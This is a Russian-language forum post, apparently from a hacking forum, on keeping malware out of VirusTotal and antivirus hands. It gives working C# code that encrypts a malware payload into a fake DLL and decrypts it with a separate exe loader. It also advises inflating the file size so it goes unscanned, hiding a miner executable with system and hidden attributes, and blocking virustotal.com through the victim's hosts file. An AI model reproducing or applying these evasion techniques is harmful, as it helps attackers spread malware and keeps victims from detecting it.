• XSS.stack #1 – первый литературный журнал от юзеров форума

Немного о сливе на Virustotal

top

(L3) cache
Пользователь
Регистрация
03.02.2020
Сообщения
252
Реакции
342
поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов.


Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.


По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ;


Приступим к первому варианту. Здесь я увидел 2 метода :


1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный.


Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :


Сам exe файлик:

C#:
using System;

using System.IO;

using System.Security.Cryptography;

using System.Text;


namespace ExePart

{

    class Program

    {

        static string password = "shopozanyanime";

        static void Main(string[] args)

        {

            if (File.Exists("file.dll"))

            {

                byte[] decrypted = decrypt(File.ReadAllBytes("file.dll"));

                File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted);

            }

        }

        public static byte[] decrypt(byte[] cipherBytes)

        {

            byte[] plainBytes;

            Aes encryptor = Aes.Create();


            encryptor.Mode = CipherMode.CBC;

            SHA256 mySHA256 = SHA256Managed.Create();


            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));

            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };


            MemoryStream memoryStream = new MemoryStream();


            ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();


            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);


            string plainText = String.Empty;


            try

            {

                cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);


                cryptoStream.FlushFinalBlock();


                 plainBytes = memoryStream.ToArray();


            }

            finally

            {

                memoryStream.Close();

                cryptoStream.Close();

            }

            return plainBytes;

        }

    }

}

DllCreator

C#:
using System.IO;

using System.Security.Cryptography;

using System.Text;


namespace DllCreator

{

    class Program

    {

        static string password = "shopozanyanime";

        static void Main(string[] args)

        {

            byte[] start = File.ReadAllBytes("in.exe");

            byte[] encrypted = encrypt(start);

            File.WriteAllBytes("file.dll", encrypted);


        }

        public static byte[] encrypt(byte[] plainBytes)

        {

            Aes encryptor = Aes.Create();


            encryptor.Mode = CipherMode.CBC;


            SHA256 mySHA256 = SHA256Managed.Create();


            encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));

            encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };


            MemoryStream memoryStream = new MemoryStream();

            ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();

            CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);



            cryptoStream.Write(plainBytes, 0, plainBytes.Length);


            cryptoStream.FlushFinalBlock();


            byte[] cipherBytes = memoryStream.ToArray();


            memoryStream.Close();

            cryptoStream.Close();



            return cipherBytes;

        }

    }

}

Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)


2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.


Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.


Теперь поговорим о методах защиты после установки малваре на пк жертвы :


1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)

Код:
string path  = @"C:\miner.exe";

File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden)

2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом

Код:
String path =@"C:\Windows\System32\drivers\etc\hosts";

            StreamWriter sw = new StreamWriter(path, true);

            String sitetoblock = "\n 127.0.0.1 virustotal.com";

            sw.Write(sitetoblock);

            sw.Close(); // Работает не всегда

Минус - могут понадобиться админ права.


(c) автор не я, из интернетов
 
Может ссылки на оригинальные статьи прикреплять будите?
оригинала в адекватной доступности нету, гуляет по телеграм каналам с прошлого года
для себя нашел пару интересных моментов, решил поделиться
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх